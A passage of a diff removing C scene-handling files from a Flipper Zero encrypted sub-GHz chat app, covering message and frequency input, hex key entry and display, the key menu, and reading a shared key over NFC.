scene_manager_next_scene(state->scene_manager, ESubGhzChatScene_KeyDisplay);
|
||||
consumed = true;
|
||||
break;
|
||||
}
|
||||
break;
|
||||
|
||||
default:
|
||||
consumed = false;
|
||||
break;
|
||||
}
|
||||
|
||||
return consumed;
|
||||
}
|
||||
|
||||
/* Cleans up the text box scene. */
|
||||
void scene_on_exit_chat_box(void* context) {
|
||||
FURI_LOG_T(APPLICATION_NAME, "scene_on_exit_chat_box");
|
||||
|
||||
furi_assert(context);
|
||||
ESubGhzChatState* state = context;
|
||||
|
||||
text_box_reset(state->chat_box);
|
||||
}
|
||||
@@ -1,107 +0,0 @@
|
||||
#include "../esubghz_chat_i.h"
|
||||
|
||||
/* If no message was entred this simply emits a MsgEntered event to the scene
|
||||
* manager to switch to the text box. If a message was entered it is appended
|
||||
* to the name string. The result is encrypted, if encryption is enabled, and
|
||||
* then copied into the TX buffer. The contents of the TX buffer are then
|
||||
* transmitted. The sent message is appended to the text box and a MsgEntered
|
||||
* event is sent to the scene manager to switch to the text box view. */
|
||||
static bool chat_input_validator(const char* text, FuriString* error, void* context) {
|
||||
UNUSED(error);
|
||||
|
||||
furi_assert(context);
|
||||
ESubGhzChatState* state = context;
|
||||
|
||||
/* no message, just switch to the text box view */
|
||||
if(strlen(text) == 0) {
|
||||
view_dispatcher_send_custom_event(state->view_dispatcher, ESubGhzChatEvent_MsgEntered);
|
||||
return true;
|
||||
}
|
||||
|
||||
/* concatenate the name prefix and the actual message */
|
||||
furi_string_set(state->msg_input, state->name_prefix);
|
||||
furi_string_cat_str(state->msg_input, ": ");
|
||||
furi_string_cat_str(state->msg_input, text);
|
||||
|
||||
/* append the message to the chat box and prepare message preview */
|
||||
append_msg(state, furi_string_get_cstr(state->msg_input));
|
||||
|
||||
/* encrypt and transmit message */
|
||||
tx_msg_input(state);
|
||||
|
||||
/* clear message input buffer */
|
||||
furi_string_set_char(state->msg_input, 0, 0);
|
||||
|
||||
/* switch to text box view */
|
||||
view_dispatcher_send_custom_event(state->view_dispatcher, ESubGhzChatEvent_MsgEntered);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
/* Prepares the message input scene. */
|
||||
void scene_on_enter_chat_input(void* context) {
|
||||
FURI_LOG_T(APPLICATION_NAME, "scene_on_enter_chat_input");
|
||||
|
||||
furi_assert(context);
|
||||
ESubGhzChatState* state = context;
|
||||
|
||||
state->text_input_store[0] = 0;
|
||||
text_input_reset(state->text_input);
|
||||
/* use validator for scene change to get around minimum length
|
||||
* requirement */
|
||||
text_input_set_result_callback(
|
||||
state->text_input,
|
||||
NULL,
|
||||
NULL,
|
||||
state->text_input_store,
|
||||
sizeof(state->text_input_store),
|
||||
true);
|
||||
text_input_set_validator(state->text_input, chat_input_validator, state);
|
||||
set_chat_input_header(state);
|
||||
|
||||
view_dispatcher_switch_to_view(state->view_dispatcher, ESubGhzChatView_Input);
|
||||
}
|
||||
|
||||
/* Handles scene manager events for the message input scene. */
|
||||
bool scene_on_event_chat_input(void* context, SceneManagerEvent event) {
|
||||
FURI_LOG_T(APPLICATION_NAME, "scene_on_event_chat_input");
|
||||
|
||||
furi_assert(context);
|
||||
ESubGhzChatState* state = context;
|
||||
|
||||
bool consumed = false;
|
||||
|
||||
switch(event.type) {
|
||||
case SceneManagerEventTypeCustom:
|
||||
switch(event.event) {
|
||||
/* switch to text box scene */
|
||||
case ESubGhzChatEvent_MsgEntered:
|
||||
scene_manager_next_scene(state->scene_manager, ESubGhzChatScene_ChatBox);
|
||||
consumed = true;
|
||||
break;
|
||||
}
|
||||
break;
|
||||
|
||||
case SceneManagerEventTypeBack:
|
||||
/* stop the application if the user presses back here */
|
||||
view_dispatcher_stop(state->view_dispatcher);
|
||||
consumed = true;
|
||||
break;
|
||||
|
||||
default:
|
||||
consumed = false;
|
||||
break;
|
||||
}
|
||||
|
||||
return consumed;
|
||||
}
|
||||
|
||||
/* Cleans up the password input scene. */
|
||||
void scene_on_exit_chat_input(void* context) {
|
||||
FURI_LOG_T(APPLICATION_NAME, "scene_on_exit_chat_input");
|
||||
|
||||
furi_assert(context);
|
||||
ESubGhzChatState* state = context;
|
||||
|
||||
text_input_reset(state->text_input);
|
||||
}
|
||||
@@ -1,108 +0,0 @@
|
||||
#include "../esubghz_chat_i.h"
|
||||
|
||||
/* Sends FreqEntered event to scene manager and enters the chat. */
|
||||
static void freq_input_cb(void* context) {
|
||||
furi_assert(context);
|
||||
ESubGhzChatState* state = context;
|
||||
|
||||
enter_chat(state);
|
||||
|
||||
view_dispatcher_send_custom_event(state->view_dispatcher, ESubGhzChatEvent_FreqEntered);
|
||||
}
|
||||
|
||||
/* Validates the entered frequency. */
|
||||
static bool freq_input_validator(const char* text, FuriString* error, void* context) {
|
||||
furi_assert(text);
|
||||
furi_assert(error);
|
||||
|
||||
furi_assert(context);
|
||||
ESubGhzChatState* state = context;
|
||||
|
||||
int ret = sscanf(text, "%lu", &(state->frequency));
|
||||
if(ret != 1) {
|
||||
furi_string_printf(error, "Please enter\nfrequency\nin Hz!");
|
||||
return false;
|
||||
}
|
||||
|
||||
if(!subghz_devices_is_frequency_valid(state->subghz_device, state->frequency)) {
|
||||
furi_string_printf(error, "Frequency\n%lu\n is invalid!", state->frequency);
|
||||
return false;
|
||||
}
|
||||
|
||||
#ifdef FW_ORIGIN_Official
|
||||
if(!furi_hal_region_is_frequency_allowed(state->frequency)) {
|
||||
#else /* FW_ORIGIN_Official */
|
||||
if(!furi_hal_subghz_is_tx_allowed(state->frequency)) {
|
||||
#endif /* FW_ORIGIN_Official */
|
||||
furi_string_printf(error, "TX forbidden\non frequency\n%lu!", state->frequency);
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
/* Prepares the frequency input scene. */
|
||||
void scene_on_enter_freq_input(void* context) {
|
||||
FURI_LOG_T(APPLICATION_NAME, "scene_on_enter_freq_input");
|
||||
|
||||
furi_assert(context);
|
||||
ESubGhzChatState* state = context;
|
||||
|
||||
snprintf(state->text_input_store, TEXT_INPUT_STORE_SIZE, "%lu", state->frequency);
|
||||
text_input_reset(state->text_input);
|
||||
text_input_set_result_callback(
|
||||
state->text_input,
|
||||
freq_input_cb,
|
||||
state,
|
||||
state->text_input_store,
|
||||
sizeof(state->text_input_store),
|
||||
true);
|
||||
text_input_set_validator(state->text_input, freq_input_validator, state);
|
||||
text_input_set_header_text(state->text_input, "Frequency");
|
||||
|
||||
view_dispatcher_switch_to_view(state->view_dispatcher, ESubGhzChatView_Input);
|
||||
}
|
||||
|
||||
/* Handles scene manager events for the frequency input scene. */
|
||||
bool scene_on_event_freq_input(void* context, SceneManagerEvent event) {
|
||||
FURI_LOG_T(APPLICATION_NAME, "scene_on_event_freq_input");
|
||||
|
||||
furi_assert(context);
|
||||
ESubGhzChatState* state = context;
|
||||
|
||||
bool consumed = false;
|
||||
|
||||
switch(event.type) {
|
||||
case SceneManagerEventTypeCustom:
|
||||
switch(event.event) {
|
||||
/* switch to message input scene */
|
||||
case ESubGhzChatEvent_FreqEntered:
|
||||
scene_manager_next_scene(state->scene_manager, ESubGhzChatScene_ChatInput);
|
||||
consumed = true;
|
||||
break;
|
||||
}
|
||||
break;
|
||||
|
||||
case SceneManagerEventTypeBack:
|
||||
/* stop the application if the user presses back here */
|
||||
view_dispatcher_stop(state->view_dispatcher);
|
||||
consumed = true;
|
||||
break;
|
||||
|
||||
default:
|
||||
consumed = false;
|
||||
break;
|
||||
}
|
||||
|
||||
return consumed;
|
||||
}
|
||||
|
||||
/* Cleans up the frequency input scene. */
|
||||
void scene_on_exit_freq_input(void* context) {
|
||||
FURI_LOG_T(APPLICATION_NAME, "scene_on_exit_freq_input");
|
||||
|
||||
furi_assert(context);
|
||||
ESubGhzChatState* state = context;
|
||||
|
||||
text_input_reset(state->text_input);
|
||||
}
|
||||
@@ -1,80 +0,0 @@
|
||||
#include "../esubghz_chat_i.h"
|
||||
|
||||
/* Sets the entered bytes as the key and sends a HexKeyEntered event to the
|
||||
* scene manager. */
|
||||
static void hex_key_input_cb(void* context) {
|
||||
furi_assert(context);
|
||||
ESubGhzChatState* state = context;
|
||||
|
||||
/* initiate the crypto context */
|
||||
bool ret = crypto_ctx_set_key(
|
||||
state->crypto_ctx, state->hex_key_input_store, state->name_prefix, furi_get_tick());
|
||||
|
||||
/* cleanup */
|
||||
crypto_explicit_bzero(state->hex_key_input_store, sizeof(state->hex_key_input_store));
|
||||
|
||||
if(!ret) {
|
||||
crypto_ctx_clear(state->crypto_ctx);
|
||||
return;
|
||||
}
|
||||
|
||||
state->encrypted = true;
|
||||
|
||||
view_dispatcher_send_custom_event(state->view_dispatcher, ESubGhzChatEvent_HexKeyEntered);
|
||||
}
|
||||
|
||||
/* Prepares the hex key input scene. */
|
||||
void scene_on_enter_hex_key_input(void* context) {
|
||||
FURI_LOG_T(APPLICATION_NAME, "scene_on_enter_hex_key_input");
|
||||
|
||||
furi_assert(context);
|
||||
ESubGhzChatState* state = context;
|
||||
|
||||
byte_input_set_result_callback(
|
||||
state->hex_key_input,
|
||||
hex_key_input_cb,
|
||||
NULL,
|
||||
state,
|
||||
state->hex_key_input_store,
|
||||
sizeof(state->hex_key_input_store));
|
||||
|
||||
view_dispatcher_switch_to_view(state->view_dispatcher, ESubGhzChatView_HexKeyInput);
|
||||
}
|
||||
|
||||
/* Handles scene manager events for the hex key input scene. */
|
||||
bool scene_on_event_hex_key_input(void* context, SceneManagerEvent event) {
|
||||
FURI_LOG_T(APPLICATION_NAME, "scene_on_event_hex_key_input");
|
||||
|
||||
furi_assert(context);
|
||||
ESubGhzChatState* state = context;
|
||||
|
||||
bool consumed = false;
|
||||
|
||||
switch(event.type) {
|
||||
case SceneManagerEventTypeCustom:
|
||||
switch(event.event) {
|
||||
/* switch to frequency input scene */
|
||||
case ESubGhzChatEvent_HexKeyEntered:
|
||||
scene_manager_next_scene(state->scene_manager, ESubGhzChatScene_FreqInput);
|
||||
consumed = true;
|
||||
break;
|
||||
}
|
||||
break;
|
||||
|
||||
default:
|
||||
consumed = false;
|
||||
break;
|
||||
}
|
||||
|
||||
return consumed;
|
||||
}
|
||||
|
||||
/* Cleans up the hex key input scene. */
|
||||
void scene_on_exit_hex_key_input(void* context) {
|
||||
FURI_LOG_T(APPLICATION_NAME, "scene_on_exit_hex_key_input");
|
||||
|
||||
furi_assert(context);
|
||||
ESubGhzChatState* state = context;
|
||||
|
||||
crypto_explicit_bzero(state->hex_key_input_store, sizeof(state->hex_key_input_store));
|
||||
}
|
||||
@@ -1,145 +0,0 @@
|
||||
#include "../esubghz_chat_i.h"
|
||||
|
||||
void key_display_result_cb(DialogExResult result, void* context) {
|
||||
furi_assert(context);
|
||||
ESubGhzChatState* state = context;
|
||||
|
||||
switch(result) {
|
||||
case DialogExResultLeft:
|
||||
view_dispatcher_send_custom_event(state->view_dispatcher, ESubGhzChatEvent_KeyDisplayBack);
|
||||
break;
|
||||
|
||||
case DialogExResultCenter:
|
||||
if(state->encrypted) {
|
||||
view_dispatcher_send_custom_event(
|
||||
state->view_dispatcher, ESubGhzChatEvent_KeyDisplayShare);
|
||||
}
|
||||
break;
|
||||
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
/* Prepares the key display scene. */
|
||||
void scene_on_enter_key_display(void* context) {
|
||||
FURI_LOG_T(APPLICATION_NAME, "scene_on_enter_key_display");
|
||||
|
||||
furi_assert(context);
|
||||
ESubGhzChatState* state = context;
|
||||
|
||||
if(state->encrypted) {
|
||||
uint8_t key[KEY_BITS / 8];
|
||||
crypto_ctx_get_key(state->crypto_ctx, key);
|
||||
snprintf(
|
||||
state->key_hex_str,
|
||||
KEY_HEX_STR_SIZE,
|
||||
"%02hX%02hX%02hX%02hX"
|
||||
"%02hX%02hX%02hX%02hX\n"
|
||||
"%02hX%02hX%02hX%02hX"
|
||||
"%02hX%02hX%02hX%02hX\n"
|
||||
"%02hX%02hX%02hX%02hX"
|
||||
"%02hX%02hX%02hX%02hX\n"
|
||||
"%02hX%02hX%02hX%02hX"
|
||||
"%02hX%02hX%02hX%02hX",
|
||||
key[0],
|
||||
key[1],
|
||||
key[2],
|
||||
key[3],
|
||||
key[4],
|
||||
key[5],
|
||||
key[6],
|
||||
key[7],
|
||||
key[8],
|
||||
key[9],
|
||||
key[10],
|
||||
key[11],
|
||||
key[12],
|
||||
key[13],
|
||||
key[14],
|
||||
key[15],
|
||||
key[16],
|
||||
key[17],
|
||||
key[18],
|
||||
key[19],
|
||||
key[20],
|
||||
key[21],
|
||||
key[22],
|
||||
key[23],
|
||||
key[24],
|
||||
key[25],
|
||||
key[26],
|
||||
key[27],
|
||||
key[28],
|
||||
key[29],
|
||||
key[30],
|
||||
key[31]);
|
||||
crypto_explicit_bzero(key, sizeof(key));
|
||||
} else {
|
||||
strcpy(state->key_hex_str, "No Key");
|
||||
}
|
||||
|
||||
dialog_ex_reset(state->key_display);
|
||||
|
||||
dialog_ex_set_text(state->key_display, state->key_hex_str, 64, 2, AlignCenter, AlignTop);
|
||||
|
||||
dialog_ex_set_icon(state->key_display, 0, 0, NULL);
|
||||
|
||||
dialog_ex_set_left_button_text(state->key_display, "Back");
|
||||
|
||||
if(state->encrypted) {
|
||||
dialog_ex_set_center_button_text(state->key_display, "Share");
|
||||
}
|
||||
|
||||
dialog_ex_set_result_callback(state->key_display, key_display_result_cb);
|
||||
dialog_ex_set_context(state->key_display, state);
|
||||
|
||||
view_dispatcher_switch_to_view(state->view_dispatcher, ESubGhzChatView_KeyDisplay);
|
||||
}
|
||||
|
||||
/* Handles scene manager events for the key display scene. */
|
||||
bool scene_on_event_key_display(void* context, SceneManagerEvent event) {
|
||||
FURI_LOG_T(APPLICATION_NAME, "scene_on_event_key_display");
|
||||
|
||||
furi_assert(context);
|
||||
ESubGhzChatState* state = context;
|
||||
|
||||
bool consumed = false;
|
||||
|
||||
switch(event.type) {
|
||||
case SceneManagerEventTypeCustom:
|
||||
switch(event.event) {
|
||||
/* switch to message input scene */
|
||||
case ESubGhzChatEvent_KeyDisplayBack:
|
||||
if(!scene_manager_previous_scene(state->scene_manager)) {
|
||||
view_dispatcher_stop(state->view_dispatcher);
|
||||
}
|
||||
consumed = true;
|
||||
break;
|
||||
|
||||
/* open key sharing popup */
|
||||
case ESubGhzChatEvent_KeyDisplayShare:
|
||||
scene_manager_next_scene(state->scene_manager, ESubGhzChatScene_KeySharePopup);
|
||||
consumed = true;
|
||||
break;
|
||||
}
|
||||
break;
|
||||
|
||||
default:
|
||||
consumed = false;
|
||||
break;
|
||||
}
|
||||
|
||||
return consumed;
|
||||
}
|
||||
|
||||
/* Cleans up the key display scene. */
|
||||
void scene_on_exit_key_display(void* context) {
|
||||
FURI_LOG_T(APPLICATION_NAME, "scene_on_exit_key_display");
|
||||
|
||||
furi_assert(context);
|
||||
ESubGhzChatState* state = context;
|
||||
|
||||
dialog_ex_reset(state->key_display);
|
||||
crypto_explicit_bzero(state->key_hex_str, sizeof(state->key_hex_str));
|
||||
}
|
||||
@@ -1,174 +0,0 @@
|
||||
#include "../esubghz_chat_i.h"
|
||||
|
||||
typedef enum {
|
||||
ESubGhzChatKeyMenuItems_NoEncryption,
|
||||
ESubGhzChatKeyMenuItems_Password,
|
||||
ESubGhzChatKeyMenuItems_HexKey,
|
||||
ESubGhzChatKeyMenuItems_GenKey,
|
||||
ESubGhzChatKeyMenuItems_ReadKeyFromNfc,
|
||||
} ESubGhzChatKeyMenuItems;
|
||||
|
||||
static void key_menu_cb(void* context, uint32_t index) {
|
||||
furi_assert(context);
|
||||
ESubGhzChatState* state = context;
|
||||
|
||||
uint8_t key[KEY_BITS / 8];
|
||||
|
||||
switch(index) {
|
||||
case ESubGhzChatKeyMenuItems_NoEncryption:
|
||||
state->encrypted = false;
|
||||
|
||||
view_dispatcher_send_custom_event(
|
||||
state->view_dispatcher, ESubGhzChatEvent_KeyMenuNoEncryption);
|
||||
break;
|
||||
|
||||
case ESubGhzChatKeyMenuItems_Password:
|
||||
view_dispatcher_send_custom_event(
|
||||
state->view_dispatcher, ESubGhzChatEvent_KeyMenuPassword);
|
||||
break;
|
||||
|
||||
case ESubGhzChatKeyMenuItems_HexKey:
|
||||
view_dispatcher_send_custom_event(state->view_dispatcher, ESubGhzChatEvent_KeyMenuHexKey);
|
||||
break;
|
||||
|
||||
case ESubGhzChatKeyMenuItems_GenKey:
|
||||
/* generate a random key */
|
||||
furi_hal_random_fill_buf(key, KEY_BITS / 8);
|
||||
|
||||
/* initiate the crypto context */
|
||||
bool ret = crypto_ctx_set_key(state->crypto_ctx, key, state->name_prefix, furi_get_tick());
|
||||
|
||||
/* cleanup */
|
||||
crypto_explicit_bzero(key, sizeof(key));
|
||||
|
||||
if(!ret) {
|
||||
crypto_ctx_clear(state->crypto_ctx);
|
||||
return;
|
||||
}
|
||||
|
||||
/* set encrypted flag and enter the chat */
|
||||
state->encrypted = true;
|
||||
|
||||
view_dispatcher_send_custom_event(state->view_dispatcher, ESubGhzChatEvent_KeyMenuGenKey);
|
||||
break;
|
||||
|
||||
case ESubGhzChatKeyMenuItems_ReadKeyFromNfc:
|
||||
view_dispatcher_send_custom_event(
|
||||
state->view_dispatcher, ESubGhzChatEvent_KeyMenuReadKeyFromNfc);
|
||||
break;
|
||||
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
/* Prepares the key menu scene. */
|
||||
void scene_on_enter_key_menu(void* context) {
|
||||
FURI_LOG_T(APPLICATION_NAME, "scene_on_enter_key_menu");
|
||||
|
||||
furi_assert(context);
|
||||
ESubGhzChatState* state = context;
|
||||
|
||||
menu_reset(state->menu);
|
||||
|
||||
/* clear the crypto CTX in case we got back from password or hex key
|
||||
* input */
|
||||
crypto_ctx_clear(state->crypto_ctx);
|
||||
|
||||
menu_add_item(
|
||||
state->menu,
|
||||
"No encryption",
|
||||
&I_chat_14px,
|
||||
ESubGhzChatKeyMenuItems_NoEncryption,
|
||||
key_menu_cb,
|
||||
state);
|
||||
menu_add_item(
|
||||
state->menu,
|
||||
"Password",
|
||||
&I_keyboard_14px,
|
||||
ESubGhzChatKeyMenuItems_Password,
|
||||
key_menu_cb,
|
||||
state);
|
||||
menu_add_item(
|
||||
state->menu, "Hex Key", &I_hex_14px, ESubGhzChatKeyMenuItems_HexKey, key_menu_cb, state);
|
||||
menu_add_item(
|
||||
state->menu,
|
||||
"Generate Key",
|
||||
&I_u2f_14px,
|
||||
ESubGhzChatKeyMenuItems_GenKey,
|
||||
key_menu_cb,
|
||||
state);
|
||||
menu_add_item(
|
||||
state->menu,
|
||||
"Read Key from NFC",
|
||||
&I_Nfc_14px,
|
||||
ESubGhzChatKeyMenuItems_ReadKeyFromNfc,
|
||||
key_menu_cb,
|
||||
state);
|
||||
|
||||
view_dispatcher_switch_to_view(state->view_dispatcher, ESubGhzChatView_Menu);
|
||||
}
|
||||
|
||||
/* Handles scene manager events for the key menu scene. */
|
||||
bool scene_on_event_key_menu(void* context, SceneManagerEvent event) {
|
||||
FURI_LOG_T(APPLICATION_NAME, "scene_on_event_key_menu");
|
||||
|
||||
furi_assert(context);
|
||||
ESubGhzChatState* state = context;
|
||||
|
||||
bool consumed = false;
|
||||
|
||||
switch(event.type) {
|
||||
case SceneManagerEventTypeCustom:
|
||||
switch(event.event) {
|
||||
/* switch to frequency input scene */
|
||||
case ESubGhzChatEvent_KeyMenuNoEncryption:
|
||||
case ESubGhzChatEvent_KeyMenuGenKey:
|
||||
scene_manager_next_scene(state->scene_manager, ESubGhzChatScene_FreqInput);
|
||||
consumed = true;
|
||||
break;
|
||||
|
||||
/* switch to password input scene */
|
||||
case ESubGhzChatEvent_KeyMenuPassword:
|
||||
scene_manager_next_scene(state->scene_manager, ESubGhzChatScene_PassInput);
|
||||
consumed = true;
|
||||
break;
|
||||
|
||||
/* switch to hex key input scene */
|
||||
case ESubGhzChatEvent_KeyMenuHexKey:
|
||||
scene_manager_next_scene(state->scene_manager, ESubGhzChatScene_HexKeyInput);
|
||||
consumed = true;
|
||||
break;
|
||||
|
||||
/* switch to hex key read scene */
|
||||
case ESubGhzChatEvent_KeyMenuReadKeyFromNfc:
|
||||
scene_manager_next_scene(state->scene_manager, ESubGhzChatScene_KeyReadPopup);
|
||||
consumed = true;
|
||||
break;
|
||||
}
|
||||
|
||||
break;
|
||||
|
||||
case SceneManagerEventTypeBack:
|
||||
/* stop the application if the user presses back here */
|
||||
view_dispatcher_stop(state->view_dispatcher);
|
||||
consumed = true;
|
||||
break;
|
||||
|
||||
default:
|
||||
consumed = false;
|
||||
break;
|
||||
}
|
||||
|
||||
return consumed;
|
||||
}
|
||||
|
||||
/* Cleans up the key menu scene. */
|
||||
void scene_on_exit_key_menu(void* context) {
|
||||
FURI_LOG_T(APPLICATION_NAME, "scene_on_exit_key_menu");
|
||||
|
||||
furi_assert(context);
|
||||
ESubGhzChatState* state = context;
|
||||
|
||||
menu_reset(state->menu);
|
||||
}
|
||||
@@ -1,273 +0,0 @@
|
||||
#include "../esubghz_chat_i.h"
|
||||
#include "../helpers/nfc_helpers.h"
|
||||
|
||||
typedef enum {
|
||||
KeyReadPopupState_Idle,
|
||||
KeyReadPopupState_Detecting,
|
||||
KeyReadPopupState_Reading,
|
||||
KeyReadPopupState_Fail,
|
||||
KeyReadPopupState_Success,
|
||||
} KeyReadPopupState;
|
||||
|
||||
static bool read_worker_cb(NfcWorkerEvent event, void* context) {
|
||||
furi_assert(context);
|
||||
ESubGhzChatState* state = context;
|
||||
|
||||
view_dispatcher_send_custom_event(state->view_dispatcher, event);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
static void key_read_popup_timeout_cb(void* context) {
|
||||
furi_assert(context);
|
||||
ESubGhzChatState* state = context;
|
||||
|
||||
uint32_t cur_state =
|
||||
scene_manager_get_scene_state(state->scene_manager, ESubGhzChatScene_KeyReadPopup);
|
||||
|
||||
/* done displaying our failure */
|
||||
if(cur_state == KeyReadPopupState_Fail) {
|
||||
view_dispatcher_send_custom_event(
|
||||
state->view_dispatcher, ESubGhzChatEvent_KeyReadPopupFailed);
|
||||
/* done displaying our success */
|
||||
} else if(cur_state == KeyReadPopupState_Success) {
|
||||
view_dispatcher_send_custom_event(
|
||||
state->view_dispatcher, ESubGhzChatEvent_KeyReadPopupSucceeded);
|
||||
}
|
||||
}
|
||||
|
||||
struct ReplayDictNfcReaderContext {
|
||||
uint8_t* cur;
|
||||
uint8_t* max;
|
||||
};
|
||||
|
||||
static bool replay_dict_nfc_reader(uint64_t* run_id, uint32_t* counter, void* context) {
|
||||
struct ReplayDictNfcReaderContext* ctx = (struct ReplayDictNfcReaderContext*)context;
|
||||
|
||||
if(ctx->cur + sizeof(struct ReplayDictNfcEntry) > ctx->max) {
|
||||
return false;
|
||||
}
|
||||
|
||||
struct ReplayDictNfcEntry* entry = (struct ReplayDictNfcEntry*)ctx->cur;
|
||||
*run_id = entry->run_id;
|
||||
*counter = __ntohl(entry->counter);
|
||||
|
||||
ctx->cur += sizeof(struct ReplayDictNfcEntry);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
static bool key_read_popup_handle_key_read(ESubGhzChatState* state) {
|
||||
NfcDeviceData* dev_data = state->nfc_dev_data;
|
||||
|
||||
/* check for config pages */
|
||||
if(dev_data->mf_ul_data.data_read < NFC_CONFIG_PAGES * 4) {
|
||||
return false;
|
||||
}
|
||||
|
||||
size_t data_read = dev_data->mf_ul_data.data_read - (NFC_CONFIG_PAGES * 4);
|
||||
|
||||
/* check if key was transmitted */
|
||||
if(data_read < KEY_BITS / 8) {
|
||||
return false;
|
||||
}
|
||||
|
||||
/* initiate the crypto context */
|
||||
bool ret = crypto_ctx_set_key(
|
||||
state->crypto_ctx, dev_data->mf_ul_data.data, state->name_prefix, furi_get_tick());
|
||||
|
||||
/* cleanup */
|
||||
crypto_explicit_bzero(dev_data->mf_ul_data.data, KEY_BITS / 8);
|
||||
|
||||
if(!ret) {
|
||||
crypto_ctx_clear(state->crypto_ctx);
|
||||
return false;
|
||||
}
|
||||
|
||||
/* read the frequency */
|
||||
if(data_read >= (KEY_BITS / 8) + sizeof(struct FreqNfcEntry)) {
|
||||
struct FreqNfcEntry* freq_entry =
|
||||
(struct FreqNfcEntry*)(dev_data->mf_ul_data.data + (KEY_BITS / 8));
|
||||
state->frequency = __ntohl(freq_entry->frequency);
|
||||
}
|
||||
|
||||
/* read the replay dict */
|
||||
struct ReplayDictNfcReaderContext rd_ctx = {
|
||||
.cur = dev_data->mf_ul_data.data + (KEY_BITS / 8) + sizeof(struct FreqNfcEntry),
|
||||
.max =
|
||||
dev_data->mf_ul_data.data + (data_read < NFC_MAX_BYTES ? data_read : NFC_MAX_BYTES)};
|
||||
|
||||
crypto_ctx_read_replay_dict(state->crypto_ctx, replay_dict_nfc_reader, &rd_ctx);
|
||||
|
||||
/* set encrypted flag */
|
||||
state->encrypted = true;
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
static void key_read_popup_set_state(ESubGhzChatState* state, KeyReadPopupState new_state) {
|
||||
uint32_t cur_state =
|
||||
scene_manager_get_scene_state(state->scene_manager, ESubGhzChatScene_KeyReadPopup);
|
||||
if(cur_state == new_state) {
|
||||
return;
|
||||
}
|
||||
|
||||
if(new_state == KeyReadPopupState_Detecting) {
|
||||
popup_reset(state->nfc_popup);
|
||||
popup_disable_timeout(state->nfc_popup);
|
||||
popup_set_text(state->nfc_popup, "Tap Flipper\n to sender", 97, 24, AlignCenter, AlignTop);
|
||||
popup_set_icon(state->nfc_popup, 0, 8, &I_NFC_manual_60x50);
|
||||
notification_message(state->notification, &sequence_blink_start_cyan);
|
||||
} else if(new_state == KeyReadPopupState_Reading) {
|
||||
popup_reset(state->nfc_popup);
|
||||
popup_disable_timeout(state->nfc_popup);
|
||||
popup_set_header(
|
||||
state->nfc_popup,
|
||||
"Reading key\nDon't "
|
||||
"move...",
|
||||
85,
|
||||
24,
|
||||
AlignCenter,
|
||||
AlignTop);
|
||||
popup_set_icon(state->nfc_popup, 12, 23, &I_Loading_24);
|
||||
notification_message(state->notification, &sequence_blink_start_yellow);
|
||||
} else if(new_state == KeyReadPopupState_Fail) {
|
||||
nfc_worker_stop(state->nfc_worker);
|
||||
|
||||
popup_reset(state->nfc_popup);
|
||||
popup_set_header(state->nfc_popup, "Failure!", 64, 2, AlignCenter, AlignTop);
|
||||
popup_set_text(state->nfc_popup, "Failed\nto read\nkey.", 78, 16, AlignLeft, AlignTop);
|
||||
popup_set_icon(state->nfc_popup, 21, 13, &I_Cry_dolph_55x52);
|
||||
|
||||
popup_set_timeout(state->nfc_popup, KEY_READ_POPUP_MS);
|
||||
popup_set_context(state->nfc_popup, state);
|
||||
popup_set_callback(state->nfc_popup, key_read_popup_timeout_cb);
|
||||
popup_enable_timeout(state->nfc_popup);
|
||||
|
||||
notification_message(state->notification, &sequence_blink_stop);
|
||||
} else if(new_state == KeyReadPopupState_Success) {
|
||||
nfc_worker_stop(state->nfc_worker);
|
||||
|
||||
popup_reset(state->nfc_popup);
|
||||
popup_set_header(state->nfc_popup, "Key\nread!", 13, 22, AlignLeft, AlignBottom);
|
||||
popup_set_icon(state->nfc_popup, 32, 5, &I_DolphinNice_96x59);
|
||||
|
||||
popup_set_timeout(state->nfc_popup, KEY_READ_POPUP_MS);
|
||||
popup_set_context(state->nfc_popup, state);
|
||||
popup_set_callback(state->nfc_popup, key_read_popup_timeout_cb);
|
||||
popup_enable_timeout(state->nfc_popup);
|
||||
|
||||
notification_message(state->notification, &sequence_success);
|
||||
notification_message(state->notification, &sequence_blink_stop);
|
||||
}
|
||||
|
||||
scene_manager_set_scene_state(state->scene_manager, ESubGhzChatScene_KeyReadPopup, new_state);
|
||||
|
||||
view_dispatcher_switch_to_view(state->view_dispatcher, ESubGhzChatView_NfcPopup);
|
||||
}
|
||||
|
||||
/* Prepares the key share read scene. */
|
||||
void scene_on_enter_key_read_popup(void* context) {
|
||||
FURI_LOG_T(APPLICATION_NAME, "scene_on_enter_key_read_popup");
|
||||
|
||||
furi_assert(context);
|
||||
ESubGhzChatState* state = context;
|
||||
|
||||
key_read_popup_set_state(state, KeyReadPopupState_Detecting);
|
||||
|
||||
state->nfc_dev_data->parsed_data = furi_string_alloc();
|
||||
if(state->nfc_dev_data->parsed_data == NULL) {
|
||||
/* can't do anything here, crash */
|
||||
furi_check(0);
|
||||
}
|
||||
|
||||
nfc_worker_start(
|
||||
state->nfc_worker, NfcWorkerStateRead, state->nfc_dev_data, read_worker_cb, state);
|
||||
}
|
||||
|
||||
/* Handles scene manager events for the key read popup scene. */
|
||||
bool scene_on_event_key_read_popup(void* context, SceneManagerEvent event) {
|
||||
FURI_LOG_T(APPLICATION_NAME, "scene_on_event_key_read_popup");
|
||||
|
||||
furi_assert(context);
|
||||
ESubGhzChatState* state = context;
|
||||
|
||||
bool consumed = false;
|
||||
|
||||
switch(event.type) {
|
||||
case SceneManagerEventTypeCustom:
|
||||
switch(event.event) {
|
||||
/* card detected */
|
||||
case NfcWorkerEventCardDetected:
|
||||
key_read_popup_set_state(state, KeyReadPopupState_Reading);
|
||||
consumed = true;
|
||||
break;
|
||||
|
||||
/* no card detected */
|
||||
case NfcWorkerEventNoCardDetected:
|
||||
key_read_popup_set_state(state, KeyReadPopupState_Detecting);
|
||||
consumed = true;
|
||||
break;
|
||||
|
||||
/* key probably read */
|
||||
case NfcWorkerEventReadMfUltralight:
|
||||
if(key_read_popup_handle_key_read(state)) {
|
||||
key_read_popup_set_state(state, KeyReadPopupState_Success);
|
||||
} else {
|
||||
key_read_popup_set_state(state, KeyReadPopupState_Fail);
|
||||
}
|
||||
consumed = true;
|
||||
break;
|
